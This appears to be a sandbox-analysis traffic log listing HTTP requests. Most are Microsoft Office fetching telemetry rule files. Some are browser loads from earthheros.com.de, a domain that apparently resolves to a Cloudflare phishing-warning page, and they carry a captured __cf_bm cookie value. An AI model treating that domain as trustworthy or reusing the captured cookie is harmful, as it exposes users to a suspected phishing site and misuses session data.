Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/images/icon-exclamation.png?1376755637 HTTP/1.1Host: earthheros.com.deConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://earthheros.com.de/cdn-cgi/styles/cf.errors.cssAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/images/icon-exclamation.png?1376755637 HTTP/1.1Host: earthheros.com.deConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: earthheros.com.deConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://earthheros.com.de/QmVlO/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /learning/access-management/phishing-attack/ HTTP/1.1Host: www.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentReferer: https://earthheros.com.de/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /img/learning/security/threats/phishing-attack/diagram-phishing-attack.png HTTP/1.1Host: www.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.cloudflare.com/learning/access-management/phishing-attack/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=F9zD6vGpFng_Ovlv_Yfvi3nzbS_N7HT4.jjZFirF.mQ-1729094206-1.0.1.1-RzQpYbS1.H4FjPwqPhNW4o0WiC5eQAEj1v9KNU8G359WyLKyJ.PL4uY3EQ1K4_I6Eak.JTWtTIfsUMvzhnXq7cA95hbHbg9YU4oc_3heVPI
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /img/privacyoptions.svg HTTP/1.1Host: www.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.cloudflare.com/learning/access-management/phishing-attack/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=F9zD6vGpFng_Ovlv_Yfvi3nzbS_N7HT4.jjZFirF.mQ-1729094206-1.0.1.1-RzQpYbS1.H4FjPwqPhNW4o0WiC5eQAEj1v9KNU8G359WyLKyJ.PL4uY3EQ1K4_I6Eak.JTWtTIfsUMvzhnXq7cA95hbHbg9YU4oc_3heVPI
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/scripts/7d0fa10a/cloudflare-static/rocket-loader.min.js HTTP/1.1Host: www.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.cloudflare.com/learning/access-management/phishing-attack/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=F9zD6vGpFng_Ovlv_Yfvi3nzbS_N7HT4.jjZFirF.mQ-1729094206-1.0.1.1-RzQpYbS1.H4FjPwqPhNW4o0WiC5eQAEj1v9KNU8G359WyLKyJ.PL4uY3EQ1K4_I6Eak.JTWtTIfsUMvzhnXq7cA95hbHbg9YU4oc_3heVPI
Source: global traffic	HTTP traffic detected: GET /slt3lc6tev37/2fMg89go9MegG1EDg39mNy/5a42817cd388ae352f77f56e53b1ff81/card-new.png HTTP/1.1Host: cf-assets.www.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.cloudflare.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=F9zD6vGpFng_Ovlv_Yfvi3nzbS_N7HT4.jjZFirF.mQ-1729094206-1.0.1.1-RzQpYbS1.H4FjPwqPhNW4o0WiC5eQAEj1v9KNU8G359WyLKyJ.PL4uY3EQ1K4_I6Eak.JTWtTIfsUMvzhnXq7cA95hbHbg9YU4oc_3heVPI
Source: global traffic	HTTP traffic detected: GET /slt3lc6tev37/6bNeiYhSx0RGvbzxS5Fi8c/3ff83bcc36e86e85170201f8264b2c1c/banner-new.png HTTP/1.1Host: cf-assets.www.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.cloudflare.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=F9zD6vGpFng_Ovlv_Yfvi3nzbS_N7HT4.jjZFirF.mQ-1729094206-1.0.1.1-RzQpYbS1.H4FjPwqPhNW4o0WiC5eQAEj1v9KNU8G359WyLKyJ.PL4uY3EQ1K4_I6Eak.JTWtTIfsUMvzhnXq7cA95hbHbg9YU4oc_3heVPI
Source: global traffic	HTTP traffic detected: GET /beacon.min.js/vcd15cbe7772f49c399c6a5babf22c1241717689176015 HTTP/1.1Host: static.cloudflareinsights.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://www.cloudflare.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://www.cloudflare.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /img/learning/security/threats/phishing-attack/diagram-phishing-attack.png HTTP/1.1Host: www.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=F9zD6vGpFng_Ovlv_Yfvi3nzbS_N7HT4.jjZFirF.mQ-1729094206-1.0.1.1-RzQpYbS1.H4FjPwqPhNW4o0WiC5eQAEj1v9KNU8G359WyLKyJ.PL4uY3EQ1K4_I6Eak.JTWtTIfsUMvzhnXq7cA95hbHbg9YU4oc_3heVPI
Source: global traffic	HTTP traffic detected: GET /webpack-runtime-1e8f122af67c0024abb2.js HTTP/1.1Host: www.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.cloudflare.com/learning/access-management/phishing-attack/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=F9zD6vGpFng_Ovlv_Yfvi3nzbS_N7HT4.jjZFirF.mQ-1729094206-1.0.1.1-RzQpYbS1.H4FjPwqPhNW4o0WiC5eQAEj1v9KNU8G359WyLKyJ.PL4uY3EQ1K4_I6Eak.JTWtTIfsUMvzhnXq7cA95hbHbg9YU4oc_3heVPI
Source: global traffic	HTTP traffic detected: GET /framework-957a522640f43541ca6a.js HTTP/1.1Host: www.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.cloudflare.com/learning/access-management/phishing-attack/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=F9zD6vGpFng_Ovlv_Yfvi3nzbS_N7HT4.jjZFirF.mQ-1729094206-1.0.1.1-RzQpYbS1.H4FjPwqPhNW4o0WiC5eQAEj1v9KNU8G359WyLKyJ.PL4uY3EQ1K4_I6Eak.JTWtTIfsUMvzhnXq7cA95hbHbg9YU4oc_3heVPI
Source: global traffic	HTTP traffic detected: GET /app-5dd3a89e612d1162418a.js HTTP/1.1Host: www.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.cloudflare.com/learning/access-management/phishing-attack/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=F9zD6vGpFng_Ovlv_Yfvi3nzbS_N7HT4.jjZFirF.mQ-1729094206-1.0.1.1-RzQpYbS1.H4FjPwqPhNW4o0WiC5eQAEj1v9KNU8G359WyLKyJ.PL4uY3EQ1K4_I6Eak.JTWtTIfsUMvzhnXq7cA95hbHbg9YU4oc_3heVPI
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/api.js?render=explicit HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.cloudflare.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/scripts/7d0fa10a/cloudflare-static/rocket-loader.min.js HTTP/1.1Host: www.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=F9zD6vGpFng_Ovlv_Yfvi3nzbS_N7HT4.jjZFirF.mQ-1729094206-1.0.1.1-RzQpYbS1.H4FjPwqPhNW4o0WiC5eQAEj1v9KNU8G359WyLKyJ.PL4uY3EQ1K4_I6Eak.JTWtTIfsUMvzhnXq7cA95hbHbg9YU4oc_3heVPI
